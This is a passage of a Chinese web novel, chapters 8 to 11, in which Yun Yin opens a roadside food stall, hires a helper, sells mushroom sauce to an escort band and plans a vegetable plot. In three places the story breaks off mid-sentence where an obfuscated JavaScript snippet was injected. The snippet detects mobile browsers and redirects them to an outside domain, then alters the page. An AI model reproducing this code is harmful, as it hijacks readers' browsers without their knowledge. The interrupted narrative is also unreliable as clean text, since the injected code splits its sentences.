云音此时正在做最后一道工序，放入切好的葱花，看到张林过来，连忙道：“你来的正好，可以吃饭了。” 张林洗干净手，接过他的饭碗，闻了闻这股霸道的香气道：“真香啊。” 云音点点头道：“这是酸菜鱼，你尝尝味道如何。前期没多少钱，我就只打算卖卖面食，荤菜就做酸菜鱼了，那条河里还有好多鱼呢。” 张林手脚麻利夹一筷子鱼吃下，连连点头道：“这酸菜鱼真好吃，酸酸麻麻，非常下饭，就着这个菜，我能吃五碗饭。” 云音被张林这句话打断畅想，收回思绪道：“我煮的饭有多的，你想吃多少就吃多少。” “不过下午你要跟我去一趟临江村，我已经跟里正说好了，先帮你申请临时户籍，然后雇佣你。” 张林吃饭的动作停下，不可置信道：“云娘子不是说还要考察我吗？怎么突然就愿意与我签订契书了。” 云音看了看他因为干活又裂开的衣服道：“你干活卖力，我很满意，自然愿意雇佣你。” “好了，赶紧吃，吃完我们就去临江村。” 张林连忙埋头苦吃，不一会儿一大锅酸菜鱼就被二人吃的干干净净。 8. 第8间客栈 云音收拾好锅碗瓢盆，问张林：“今日有商队路过吗？” 张林正一边夯土一边回道：“有，今日有不止一个商队路过，娘子你说得对，在这里开饭馆说不得生意会很好。” 张林道：“有商队的人看见我在搭灶台，还特意停下问我呢。” “哦，你怎么说的？” 张林挠挠脑袋道：“我自然按照娘子说的，在那些商队里宣传，让他们都知道这里有个饭摊。” 云音道：“正好，灶台做好后也要放置几天，等签订完契书，你负责采购，我先带你去镇上和村子里看看，等你熟悉后，这一块我会交给你负责。” 张林停下手里的动作道：“这么重要的事情要交给我吗？可是我没做过啊。” 云音：“正是因为没有做过，所以要学着做，以后等我们饭摊扩大，你要负责的事情会更多。” “希望我的决定没做错。”云音看着张林道，“当然，若是你做的不好，我也会与你取消契约。” 张林连声保证：“放心吧，云娘子，我会做好的。” 云音等到太阳没那么炙热后，带着张林去临江村，此时的临江村也开始忙碌起来，路过村子时，还能看到许多人都在农田里忙活。 此时已经二月底，再过一个多月冬小麦也快要收割了。村民们趁着还有时间，赶紧多除除草，让小麦能在最后关头再长长，也希望能多收些麦子。 不论哪块田里都有人在干活，云音带着张林穿过村子，走到孙里正家时，钱嫂子正在打扫院子。 就连之前在家读书的二郎也不见踪影，云音问了钱嫂子才知道，原来他去打猪草了。 此时孙里正在大堂休息，云音拉着张林去见了见他，很快把临时户籍办好，连雇佣契书孙里正也帮忙办好了。 云音谢过孙里正，又对一直期盼望着自己的钱嫂子道：“嫂子，我来找你买菜。” 钱嫂子一听，立刻放下扫帚道：“来了来了，正好我带妹子去菜园子看看，若是还有你看得上的，你尽管拿，价格我都给你算便宜些。” 云音让张林在院子里等着，跟着钱嫂子去菜园子里，等她装了满满一篮子蔬菜回来时，张林已经跟钱嫂子的丈夫聊起来了。 云音和张林各提了满满一篮子，其中一个篮子装的都是酸菜。因为她没带坛子，钱嫂子还让云音先带走，等明日再给她送回来。 她看着这么多东西，实在无法提着去镇上，连忙与钱嫂子道：“嫂子，这些东西先放你家，我们还要去一趟镇上，等回来时再找你拿。” 钱嫂子拍拍胸脯道：“那行，等你回来找我，若是我不在家，你在村口喊一声，我就回来了。” 云音与钱嫂子说好，与张林往平江方向走去。 临江村靠近平江，从这里去镇子除了那条官道可以走外，坐船走平江是更快的。 不过船资也不便宜，一个人要三文钱，两个鸡蛋呢，一般农户是不舍得，他们宁愿走半个时辰去镇上，也不愿意花这个钱。 云音交了六文钱，与张林一起坐船，等他坐稳后，才道：“你以后去镇上买东西，也可以坐船前往，这样能快一点，等日后我们买了船，就不用这么麻烦了。” “娘子还打算买船吗？”张林从来没想过这事，他觉得很浪费，连忙道，“娘子，我能走路的，就算没有船，我也能把你要的东西买回来的。” 云音瞪了他一眼道：“你走路一趟就要一个时辰，可坐船半个时辰就能来回一趟，你说哪个更方便？” “而且我们那里前不着村后不着店，每次来临江村买东西也麻烦，有条船比车还方便。等我们种了菜，便不用来临江村买菜，但肉还是要去镇上买，到时候做我们自己的船也方便。” 张林嘿嘿一笑道：“我不懂，我都听云娘子的，云娘子怎么说，我怎么做。” 云音道：“我也只是想想，买船肯定很贵，如今我还买不起，只能以后努力赚钱，再买一条像船家这样的船。” 张林一脸信任：“我相信娘子能做到。” 下了船，她带着张林进镇子，敲响罗家饭馆的后门，仍旧是上次那个伙计开门，见是熟人，过来招呼云音，又喊人去叫掌柜。 “妹子，你可算来了，你再不来我也要去临江村找你了。”罗蔓从前院快步走来高声道，“你给的蘑菇酱很受欢迎，我把它送到县里，很受学子欢迎。” “我正想找娘子再订一些。”罗蔓递给云音两千六百文，“还要麻烦娘子再做四十罐，仍旧是十罐素蘑菇酱，三十罐肉蘑菇酱，这次我就不给你银子，平日买东西，用铜钱还是更方便一些。” 云音虽然猜到蘑菇酱可能会很好卖，没想竟然这般受欢迎，她接过串好的铜钱，放到袋子里道：“多谢阿蔓姐，处处为我考虑。” “听阿蔓姐的意思是，这酱卖给县学的学子了？” 阿蔓笑眯眯道：“是啊，我也是听镇上的食客提起，说是县学里的学子伙食一般，我想着他们平日外出不便，这蘑菇酱不是正好适合他们吗？就试了试，果然很受他们喜欢。” “况且这价格对他们来说，也不算贵，他们家里也舍得。” 云音：“我知道了，我会尽快做好，十天之内给你送到。” 她指了指院子里的张林道：“这是我雇佣的人，以后他负责给阿蔓姐送货。” 罗蔓仔细看一眼张林，应下道：“我会告诉伙计们的，到时候你让他依旧送到后门。” 再次拒绝了罗蔓的请客，云音带着张林离开罗家饭馆，看着手里的二千六百文，她决定去大采购。 她已经迫不及待想要换衣服了，之前没钱就一直忍着，如今终于有钱买衣服了。 张林的衣服也已经不成样子，她缝补手艺一般，在这两天多次缝补中已经破破烂烂，再也经不起缝缝补补了。 云音带着张林进了一间成衣铺，里面卖的都是成衣，正好适合他们这样的情况。 “你去选两套衣服吧。”云音让张林去挑衣服，自己也看起这个时代的服饰。 这个时代的服饰与唐朝有着相似之处，女子皆穿上襦下裙，成衣铺的衣服也是这些款式，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178744|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了色泽不同，其他都大差不差。 至于男子服饰就更简单，或许也是因为这是镇子上的成衣铺的缘故，这里卖的男子服饰是方便干活的圆领短衫长裤，颜色也是耐脏的颜色。 云音随意挑了两件看起来比较清新的颜色，比划两下见差不多合适，让掌柜包起来。张林也已经挑好衣服，让掌柜一起算帐结算。 这几件衣服都是麻布衣服，总共八百文，当然这个价格对于普通人还是略贵，他们都是自己纺织做衣服，能省不少钱。若是棉布或者丝绸那就很贵，也怪不得之前进店时，掌柜一脸惊奇看着她，也是因为她穿着棉布的缘故，普通老百姓很少有人穿棉布。 买完衣服，他们又去买了澡豆，还有装蘑菇酱的罐子，其他生活用品，带着一堆东西坐船回了临江村。 此时也快到吃晚食的时候，云音找钱嫂子取回东西，跟张林两人背着一大堆东西往家里赶去。 背着一大堆东西，云音咬牙坚持着，她一定要快点赚钱，买船，买车，这样就不用靠人力来背了，可惜镇子上没有租车的地方，不然她怎么也要租一辆车送他们回来。 好不容易把所有东西搬到山坡下，云音长出一口气对张林道：“今日不做饭了，吃点买的饼子吧。” 张林倒是没觉得什么，不管是饼子还是饭，他都吃，只要管饱，他并不在意吃的是什么。 不过等他真的吃着胡饼时，又开始想念中午的酸菜鱼了，云娘子做的酸菜鱼可真好吃。 想着酸菜鱼下饼，张林很快将一个胡饼吃完了。 另一边云音整理完今日的大采购，对张林道：“你明日问问孙大郎，能不能收到菌菇，若是可以，我这边需要。” 张林停下吃饼的手道：“现在没有新鲜菌子吧，我记得草菇要五六月才有，其他的菌子我就不知道了。” 云音颔首道：“我知道，新鲜菌子没有，干菌子也可以的。若是孙大郎不知道，你也可以问问钱嫂子，说不得她知道的更多。” 张林点头应下，记好明日要买的东西，这才带着热水回了官道边的茅草屋。 等张林走后，云音把酸菜转移到今日买的坛子里，又把鸡蛋单独收好，这才去河边把衣服洗了。 云音躺在茅草堆上，看着闪烁的星光，又回头瞧一眼才建了一半的茅草屋，想着还是要赶紧把屋子建起来。 实在不行明日让张林去临江村请几个人来帮忙，早日建好房子，她也安心。 云音打定主意，迅速陷入沉睡，直到晨光透过树叶的间隙，落在她的脸上，将她吵醒，她才打着呵欠准备洗漱。 她摸了摸昨日洗干净的裙子，过了一晚已经干了，连忙换下穿了多日的衣服。 等把自己收拾好，张林也过来了。 云音安排他去镇上买肉和大骨，递给他钱道：“你回来时在村子里问问，有谁愿意过来建茅草屋，每日十文钱，包吃。” 张林接过钱道：“云娘子，我也能建屋子的。” 云音：“我知道，你还有别的事做呢，屋子就让别人建吧。” 9. 第9间客栈 今日云音要做的事还有很多，除了要准备摆摊的事情，剩下的便是试菜。 正好张林从临江村请来修建茅草屋的人也到了，云音要负责他们的午食和晚食，她打算让他们尝尝，看合不合他们的口味。 酸菜鱼张林已经试过，主食除了米饭，另一个选择便是面条。 云音准备做两种面条，一种是阳春面，另一个是葱油拌面。 阳春面做起来很简单，云音先去准备高汤。以前她图简单时，都不会煮高汤，直接煮面放一点猪油和酱油，最后再撒点葱花，就很美味了。 现在要卖给客人，自然还是煮点高汤味道更好。云音洗干净猪大骨，扔进大釜中煮着，放点姜去味，添柴后就不用管了。 面条需要和面，云音拿出一个大盆把磨好的面粉倒进去，用一斤面半斤水的比例和面，在里面放一点点盐，最后揉成一个粗糙的面团。 这个面团放在一边醒一醒，再二次揉至表面光滑。 揉好后把这团面分割成一个个小团子，搓成条状后抹一点油，放到一边静止。 等要煮面时，把这个醒好的面团拉伸，就能得到比较满意的面条了。 面条准备好，云音去处理鱼，因为这次人多，云音又加了些买的白菜。酸菜鱼里面煮的白菜也很好吃，特别下饭。 她最后准备葱油，这个做起来也很简单，倒好大豆油，把洗干净切段的葱白和葱叶分开放入锅里，用小火慢慢炸着。 等葱段变得焦黄，葱的香气也被完全激发后，倒入酱油和□□糖，等糖搅拌融化这就算炸好了。 在云音做酸菜鱼时，那些干活的人已经心不在焉了，等到她炸葱油时，那些人更是频频望向云音的方向。 云音看着天色差不多时，开始抻面煮面条。 张林去招呼干活的人过来吃面，云音把煮好的阳春面递给他们道：“先吃着，之后还有葱油拌面，当然不喜欢面条，也可以吃米饭。” 云音等他们吃上了，也端了一碗葱油拌面吃起来。 别看葱油拌面是很简单的做法，或许正是因为简单，只有食物最原本的味道，所以不论是面条的麦香，还是葱油的葱香，融合后才能迸发出不一样的惊艳。 云音迅速把一碗葱油拌面吃完，这时再来一碗带汤的阳春面，真是神仙来了也挡不住。 她吃饱后见临江村的村民吃的脸都要埋到碗里了，心里也很高兴。 自己做的食物被人如此捧场，对于厨子来说就是最大的嘉奖了。 他们对云音做的面表示高度赞扬，每个人都说是他们吃过最好吃的面和菜。云音见他们都喜欢，也决定先卖这两种面试试情况，等有客人关顾后，再添加菜品。 她如今手里的钱并不多，先卖这些简单易得的食物，等挣到钱再说。 云音的茅草屋很快便盖好了，她查看没有什么问题，将这两日的工钱交给他们道：“按照我们之前说的，等这茅草屋修好，再帮我建一座。” 这是云音一早就决定的，张林既然帮她干活，自然不能让他没有地方住。 官道旁的那个茅草屋到底是别人建的，虽然能暂住，但也不能让张林一直住着。 正好趁着他们现在还有空，在那间茅草屋旁再建一个，如此张林也有地方可以住。 等他们去选地方了，云音则去做摆摊的最后准备，桌子椅子这些之前去镇上时已经让人做了，她只要拿回来就好了。 云音把之前藏起来的背篓拿回来，又去山里把玻璃罐子个书找出来，一起放回茅草屋，锁好屋门与张林说一声往镇上去了。 这里有张林盯着，她也放心，她还有好些调料没有买齐，若不是县里太远了，她还是想去县里看看。 而且给罗蔓的蘑菇酱也要开始准备了，云音把从镇上带回的桌椅放在一边，提过张林收购回来的干蘑菇检查。 他买回来的都是草菇，听张林的意思是，大家平日吃这种蘑菇最多，所以采蘑菇时，也会优先采集这种蘑菇。至于云音之前在云雾村采的牛肝菌之类的蘑菇，目前还没在这些菌菇里发现，也不知是他们不认识所以不吃，还是这里没有。 若是她以后想吃，恐怕只能自己去山里寻找了。 云音先把干蘑菇泡发，又把买回来的新鲜猪瘦肉切丁，葱姜蒜也切碎放一边等会用。 等蘑菇泡好后，控干水分切成碎沫，热锅放入素油，等油热后放入猪肉丁，炒至变色再加入葱姜蒜沫，煸炒出香味。 镇上卖猪肉的那家猪肉是劁过的，所以猪肉并没有什么猪骚气，连肥肉也是肥而不腻，非常的香。 用这样的肉做出来的菜都非常好吃，猪肉炖白菜也是很香的。 所以镇上那家卖猪肉的生意特别好，哪怕猪肉的价格很贵，也有不少人去买，若是去的太晚就没有什么肉了，云音还是跟那东家定好，才拿到这么多的肉。 不过云音做的蘑菇酱用的是猪瘦肉，比起肥肉来，瘦肉倒是没那么受欢迎，所以她还是能定到，掌柜的也愿意一次性卖给她，若是她要肥肉，那就没那么容易了。 云音看着锅里噼里啪啦跳动的猪肉，想到以前奶奶还在时，也是这样守着灶台，而她就跟个跟屁虫一样，守着奶奶。 想到奶奶，她心情有些难受，好在她早已经习惯，现在只不过是换了个地方，她可以把日子越过越好，也会越来越幸福。 蘑菇倒进锅里，轻轻翻炒几下，等蘑菇变软出水后，放入适量黄豆酱，继续翻炒使蘑菇充分吸收酱料的味道。 最后加入适量酱油白糖和盐以及其他香料，倒入清水小火炖煮，直到水烧干就可以装到陶罐里。 云音趁着时间还早，多做一些蘑菇酱，等太阳西斜时，她才给大家准备晚食。 时间就在她做酱中慢慢划过，此时她已经把罗蔓需要的酱都做好了，她还多做了几十罐酱备用，其他的让张林给罗蔓送去了。 而官道旁的茅草屋也建造完成，云音与临江村的村民结清铜钱，她也要准备出摊了。 她摆好桌椅，又挂好旗子，旗子上写着云记饭馆，这还是找临江村的孙里正帮忙写的。 她满意看看这招牌，又在灶台旁边的桌子上摆好锅碗瓢盆，准备工作就做的差不多了。 面条是一早就揉好的，煮面要用的木柴，云音和张林也准备了许多，如今都在墙角堆着，就连高汤她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178745|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也一早熬好，正在灶台上用小火温着。 现在就缺客户了。 此时天才刚亮，太阳还没露出头来，官道上还没路过的人，云音也不着急，先给她和张林煮两碗阳春面吃着。 清晨的风还有着丝丝凉意，这时喝下一碗热乎乎的汤，那一丝凉意瞬息就被驱散了。 吃完早食，云音让张林去洗碗，她则去剥蒜瓣，等做午食时使用。 两个碗张林很快就洗完了，他一时间也不知道做什么，只能坐到云音旁边，拿起蒜也剥起来。 可他坐不住，蒜瓣也被他剥的七零八落，时不时还要往官道上看去，看是否有人前来。 云音见他实在是急躁，只能开口道：“别着急，天还早呢，等会人来了，估计你忙都忙不过来。” 张林扔下一个剥好的蒜道：“哎，昨日天不亮就有人经过，今天太阳都要出来了，还没人路过。” “我也是着急，若是一直到晚上都没人来，可怎么办啊。” 云音摇摇头道：“做生意就是要有耐心，做饭馆只要食物好吃，价格实惠，你做得越久生意越好。” “这才刚刚开始，你急什么，我都不着急。” 张林叹了一口气道：“好吧，我忍忍。” 可他就跟凳子上有钉子似的，怎么都坐不住，云音见他这样，只能赶他道：“既然你坐不住，那就去开荒吧。” “之前里正分了十亩地给我，我还没想好在哪里开，你正好去看看哪里的土质好，我们开个一亩两亩的，可以种种葱蒜和青菜。” “总不能什么都找别人买，该省钱的时候还是要省钱的。” 张林听了她的话，起身去拿锄头，“那我去附近看看，云娘子若是来人了，你记得喊我哈。” 云音挥挥手让他走了，等张林走后，这里顿时安静下来，只有锅里“咕咚咕咚”冒泡声。 她就这样坐在灶台旁，感受着徐徐吹来的清风，耳畔传来鸟雀啼叫的轻鸣，她慢悠悠剥着蒜瓣，享受着此时的静谧时光。 “嗒嗒嗒嗒”的马蹄声唤醒宁静的官道，鸟雀也似被这声音惊醒，从她头顶叽叽喳喳掠过，云音放好蒜瓣，把张林叫回来道：“你在这里守着，我去看看情况。” 她拍了拍因为久坐有些折痕的衣裙，摸一摸还在腰间绑好的鞭子，往官道方向走去。 云音走到官道边时，马蹄声越来越近，她凝神倾听片刻，只能大概估算出有十几人。 就在此时，一匹身高体壮的黑头大马率先出现在她眼前。 她眼前一亮道：“好漂亮的马啊。” 云音顺着马往上看，一个身穿圆领窄袖袍，身姿挺拔潇洒地坐在马上的俊俏男子出现在她眼前，那双炯炯有神的眼睛看过来时，还能从他眼里看到一闪而过的锋芒。 她立刻警惕起来，摸着腰间的鞭子直直盯着那男子。那男子也注意到云音的动作，扯着缰绳停下，并不靠近。 他身后的人也齐齐聚过来，把身后的货物保护起来。 云音眨了眨眼睛，好似这才发现她的动作有歧义，立刻放下手，一双杏眼无辜看向那男子道：“额，我想问问你们，要不要吃早食？” 10. 第10间客栈 “早食？”一道沉稳低沉的男声传来，云音还能从中听出一丝茫然。 云音轻轻咳了一声道：“抱歉，是我没说清楚，我在附近开了一个饭摊，正好碰上你们，所以过来看看你们要不要吃。” 那男子看一眼云音指着的地方，微微扬眉道：“小娘子会功夫？为何会在这里开饭摊。” 那男子仍旧一脸警惕的模样，云音一脸无奈道：“是会点拳脚功夫，至于开饭摊，自然是讨生活。” 那男子并未回话，不过云音还是从他的眼神中看出了不信，她看了一眼他们一群十几人，这么好的生意，估计是做不成了，这男子也太警惕了。 云音耸耸肩道：“是啊，若是你们想吃早食，可以去我们云记饭馆，早食有阳春面和葱油拌面。” 那男子还没来得及说话，他身后一人跑过来，嗅了嗅空气中的香味道：“老大，要不我们在这里吃了再走，我闻到大骨汤的味道了。” 那男子瞥一眼说话的人，又看着只有一人的云音道：“就你鼻子灵，罢了，兄弟们也辛苦了，那就吃了再走吧。” 云音见他们打算留下吃饭，立刻喜笑颜开，引着他们往摊子走去，边走边介绍道：“我们饭摊才开业，种类还不多，只有面条可以吃。” “不知你们是想吃阳春面还是葱油拌面？” 那男子安排人看着货物和马匹，带着其他兄弟跟着云音走到摊子前坐下，看一眼还在咕咕冒泡的大骨汤，想了想道：“两种面条给我们每人各上一碗吧。” 云音点点头，喊张林招呼客人，她洗了手开始抻面煮面。 她拉面的速度飞快，两手翻飞，十分迅速一大团面就拉好了，她一连扔进去好几团面，等着面汤煮开。 等面条快要煮熟时，云音往大釜中倒冷水，等水再次煮开，夹起来放到碗里，放入一勺葱油，最后撒上葱花。 张林迅速把拌好的面条端过去，对他们道：“郎君们先吃拌面，等会阳春面就上。” “对了，郎君们的阳春面要加鸡蛋吗？加蛋多两文钱。” 傅望尝一口葱油拌面，被这简简单单却如此美味的食物引得食欲大开，听到张林的问话，他点头道：“每碗面都放两个鸡蛋。” 云音听见，快速把拌面做完，另外拿一个锅出来，一边煎鸡蛋一边煮阳春面，等阳春面煮好，每个碗中都放着两个金黄的鸡蛋。 云音等所有人都吃上了，这才稍微坐着休息休息。 她坐在灶台边，余光打量这一群带刀的行人，思考他们是从哪里来的，是做什么的。 “郎君怎么称呼？” 云音等那男子吃完，起身给他倒一杯水问道。 那男子接过水，轻轻嗅了嗅，喝了一口后道：“我叫傅望，不知小娘子如何称呼？” 云音笑了笑道：“我叫云音，刚刚让傅郎君见笑了，我也是看你们气势与一般行商不同，所以有些反应过度了。” 傅望认真打量一眼云音道：“云娘子哪里的话，是我过于谨慎了。” “不过娘子小心点是应该的，我们也是听说这附近有盗匪出没，所以看到云娘子一人在路边，才有些担心，以为有陷阱。” 傅望打量这简陋的饭摊道：“不知云娘子怎么选择在这里开饭摊？” “以你的手艺，去县里或者州城哪里都比在这里开饭馆强。” 云音不知道他只是吃了一碗面，怎么得出如此结论，她摇摇头道：“这里也不错，靠山靠水，吃喝不愁。而且还靠近官道，时不时就有商人路过，卖点吃食也能糊口。” 傅望深深凝视她一眼道：“云娘子应该明白我的意思。” 云音表示她不明白，她也不纠结这个问题，转移话题道：“我看郎君好像不是行商，不知是做什么的。” 她抿了抿嘴道：“当然，若是觉得不方便回答，也不用告诉我的，我只是有点好奇罢了。” 傅望摇头道：“没什么不可说的，我和兄弟们是走镖的，只是途经此地。” 云音恍然大悟，原来是走镖的，怪不得他给她的感觉与其他商人不同，他们身上有种兵士的肃杀之气。 也不怪她之前看到他，心中忌惮，差点造成误会。 傅望放下水杯道：“云娘子，我知道你会点武艺，不过还是要小心，最近到龙安县的这条路，不知从哪里冒出来的盗匪，我也是不久前救了一个商队才知道的。” 云音一脸疑惑道：“可是我们这几天时不时都能看见有商队经过，并没有听人提起过。” 傅望叹口气道：“那是云娘子不知道，以前这条路每日有不少商队经过的，可你看最近每日经过的商队又有多少？” “那些盗匪有刀，那些是军中制品，与我们用的横刀是不一样的。这附近没什么人烟，又只有云娘子你们两人，还是要多多注意才好。” 云音点点头道：“多谢傅郎君的提醒，我会小心的。” 她看他们吃完就要走了，她叫住傅望道：“傅郎君，若是你们之后路程还远，不如带点我做的蘑菇酱，用来配干粮吃也是不错的。” 傅望停下脚步，对上那双期盼的眼睛，他停顿片刻还是坐下道：“既然如此，那我就尝尝吧。” 云音快速端出两碟蘑菇酱，一盘素的一盘肉的，又递给他一双筷子，让他尝尝味道。 傅望嗅了嗅这透着香气的酱，跟他之前吃的豆酱味道完全不同，他尝了一口，又招呼其他兄弟过来尝尝，见他们都满意，点头道：“味道确实不错，不知什么价格。” 云音还没回答，之前那个鼻子很灵的男子道：“老大，多买点，多买点，我已经吃腻干粮了。” “今日好不容易吃了几碗面，还想着之后就再也吃不到了呢，如今有这酱，之后的日子也不会那么难挨了。” 傅望瞥他一眼道：“王石头，我亏待你们了？” “老大倒是没有亏待我们，可是长时间在路上，确实嘴里都要淡出鸟来了，我这不是为了兄弟们好吗。” 云音看着他们拌嘴，嘴角情不自禁扬起，傅望瞧见被她看了热闹，连忙轻咳一声道：“麻烦云娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178746|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子给我们三十瓶吧。” “素蘑菇酱零售是六十文，肉蘑菇酱零售是八十文，不过你们买的多，价格会有优惠。”云音一边搬酱一边回他道，“我每瓶给你们优惠十文，你们看看是要哪种酱？” 这个价格云音是和罗蔓说好的，她那边零售也是这个价格，不过她也告诉过罗蔓，若是别人买的多，价格跟她也是一样的。 罗蔓对于这个价格并没有意见，如今这酱已经在县学里打开销路了，并不愁卖不掉。 但县学的学子毕竟是少数，云音也不能只指望罗蔓那边，她这边也要找人售卖。 今日她看傅望对他兄弟还不错，就想问问他需不需要，果然他一出手便是三十瓶。 傅望上前帮她搬酱道：“云娘子给我们肉蘑菇酱就好，他们都是一群无肉不欢的。” 云音点点头道：“傅郎君休息吧，一会儿我让张林帮忙搬。” 此时正好把碗筷收拾好的张林，听到云音叫他，连忙跑过来道：“傅郎君放着我来，怎么能让你这个客人做这种事情呢。” 张林把傅望拉到一旁，帮云音把三十罐酱搬出来放到桌上。 云音拍拍手道：“好了，总共三十罐，收你两千四百文。” 傅望点点头道：“我这里只有银子，给你银子可以吧。” 他们常年在外奔波，肯定不方便带死重死重的铜钱，云音表示理解。不过她也知道银子也是有区别的，最好的肯定是官银，其他的银子若是质量不好，可能一两银都兑换不到1000文。 云音接过他递过来的银子问：“这是官银？” 她看这一锭银子与之前罗蔓给她的银子很相似，但又不确定于是询问道。 “确实是官银。”傅望给她解释，“在外行走，官银是最好出手的，其他银子可能会掺假，所以我们一般也只会用官银。” “除非实在没有官银，才会用质量好的其他银子。” 云音去钱盒里拿找零的钱，递给他后道：“我知道了，多谢傅郎君光顾小店，希望下次还来。” “下次你们再来，我这里卖的吃食肯定会更多。” 王石头把酱放回车上回来就听到这句话，赶在傅望前面应下：“好啊好啊，下次若是路过云娘子的店，我们肯定会再来的。” “可惜我们今日还要赶路，不然可以尝一尝张小兄弟说的酸菜鱼了。” 傅望瞪一眼话多的王石头，与云音颔首道：“云娘子，告辞。” 云音笑着点头，“慢走，路上小心。” 等送完他们这一行人，云音坐在桌边清点今日所得。 蘑菇酱得了二千四百文，去除成本能赚九百文，至于面条价格便宜，他们一人吃好几碗也不过赚三百多文。 若是靠卖面条，想赚到十贯还是很难的，好在蘑菇酱的销量不错，只是如今还不是吃蘑菇的季节，只能找村里人继续收购干蘑菇。 不知道草菇能不能自己种，这样就不用担心蘑菇不够用，云音想到她还藏着的种植大全，或许可以去里面找找。 11. 第11间客栈 云音把盒子里的钱拿出来，转头听见张林担忧道：“娘子，你说傅郎君说的事是真的吗？我们这里竟然有盗匪？若是我们遇上盗匪可怎么办。” 云音拍拍他肩膀道：“放心吧，这不是还有我在吗？” “就算有盗匪，有我挡在前面，你怕什么。” 张林愁眉苦脸道：“那还会有商队过来吗？若是没有商队，饭摊的生意就不好了啊。” 说到这个云音也有些担忧，若说把饭摊开在官道，有哪里不好，那就是客源不稳定了。 她只能依靠过路行商，若是出现像如今这种有盗匪出没的情况，说不得就要影响到她了。 “怎么会有盗匪呢？”云音百思不得其解，按说大昭也已经开国十几年了，不说蒸蒸日上吧，也已经步入平和期了，况且这里也不算荒郊野岭，山对面就是村子，离镇上也不远，怎么就有盗匪呢？她有些后悔没跟傅望打听具体情况了。 望着清清冷冷的官道，云音摆了摆手道：“罢了，既然一时半会儿没有人来，张林你继续去开荒吧，趁着现在正是初春，我们也种点菜吧。” 那分给自己的十亩地也不能放着浪费不是，种地可是国人的血脉天赋，即便云音懂得不多，也不想浪费这十亩地。 张林垂头丧气道：“知道了，云娘子，我这就去翻地。” 云音等张林走后，又看了看官道，确定没人来后，也起身回去收拾茅草屋了。 自从茅草屋建成，她都没怎么整理，所有东西都胡乱堆在一起，如今正好有空闲时间，她也把屋子整理整理。 等看到筐子里装的茱萸时，她一拍脑门道：“怎么把这个给忘记了。” 之前做酸菜鱼时，她苦于没有辣椒，记得历史上没有辣椒前，也是有一种辣味替代的，名字叫茱萸，她去问了罗娘子，知道这里也有茱萸。 说到茱萸就不得不提那首王维又名的诗，遍插茱萸少一人，如今她又何尝不是这种心情呢。 云音整理着这一袋子茱萸，挥掉突然涌上来的感伤，想想茱萸能做什么菜吧。 云音很喜欢吃辣，但那也是辣椒的辣，她并没有尝试过用茱萸替代辣椒，毕竟在现代辣椒好买，茱萸还真不是随便就能在菜市场买到的。 不过如今大昭还没发现辣椒，反正云音没听人提起过，就连罗蔓也没听说，只能说此时辣椒还没传入大昭。 这个一时半会儿也找不到，只能先试试茱萸了。 拿一点茱萸，云音又在另一角找到八角桂皮，这两种调料她也没多少，实在太贵了，她只买了一点点。幸好她买的肉腥味不重，只加一点点香料也够了，拿上这些调料，她打算中午做个红烧肉，这道菜下饭，对于跑商的人来说，最合适不过。 她把茅草屋简单整理一遍，提上早上张林买回来的五花肉，往饭摊走去。 恰在此时，云音听见张林在远处大声叫道：“娘子，我已经开了一亩地了，你要不要过去看看？” 云音看看手里的肉，还是先去地里看一下情况。 张林选择的地方靠近那条小河，这样浇水会方便许多，云音看一眼已经翻过一遍的地，里面的大小石头都捡干净了，就连大一点的土块也敲碎了。 云音满意点点道：“速度挺快的嘛，才一上午你就弄好了。” 张林嘻嘻一笑道：“都是干熟的活，这几天又吃好喝好，我有力气着呢。” “云娘子，我们要种点什么？” 云音沉思片刻道：“我们常用的葱姜蒜，这些都可以种一些，白菜也可以种一些。 对了，现在也是种韭菜的时间，可以找钱嫂子问问，他们有没有种子。” 想到这里，云音想起还有许多蔬菜，但她不确定是不是这个季节种的，她连忙对张林道：“你先继续开地，我去去就回，至于要种什么，等我回来再说。” 张林一抬头见刚刚还在田里的云娘子，此时已经一溜烟跑没影儿了，他一头雾水，只能拿起锄头去旁边一块地，继续翻地。 跑远的云音迅速回到山坡下的茅草屋，把手里的东西放下，拿出那本种植大全，她边查找边道：“我只知道大昭没有辣椒，土豆，也不知蔬菜有哪些。” “不过不管有哪些，我先看看春季能种什么再说。” 云音翻开厚厚一大本书，第一个看到的便是茄子。 云音仔细看去，跳过那些茄子的科普知识，以及它的营养价值，直接看种植方法，仔细看过一遍后，终于在一个角落看见写着北方2月至4月育苗，4月至5月定植。 她迅速跳过这一段，仔细看南方春季种植时间，果然这句话后面就写了南方12月至次年2月育苗，3月-4月定植。 云音记下这一点，又去翻看其他能春天种植的蔬菜，发现春天能种的菜实在是太多了。 